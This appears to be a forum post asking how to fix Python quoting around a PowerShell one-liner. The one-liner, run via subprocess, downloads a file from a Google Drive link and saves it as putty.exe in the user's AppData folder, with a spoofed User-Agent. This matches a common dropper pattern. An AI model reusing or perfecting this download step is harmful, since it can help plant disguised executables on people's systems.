Aug-30-2018, 09:13 PM
hello all ...
im trying yo execute this command on my system via powershell :
i keeep getting this error SyntaxError: invalid syntax ... the problem from qoutes !!
can u guide me how to execute it and how to deal with multi qoutes ?
my code :
im trying yo execute this command on my system via powershell :
Quote:powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"
i keeep getting this error SyntaxError: invalid syntax ... the problem from qoutes !!
can u guide me how to execute it and how to deal with multi qoutes ?
my code :
def downloadfile(): down = subprocess.call('powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'myUserAgentString';$cli.DownloadFile('https://drive.google.com/uc?export=download&id=19LJ6Otr9p_stY5MLeEfRnA-jD8xXvK3m', '%appdata%\putty.exe')"') time.sleep(20) downloadfile()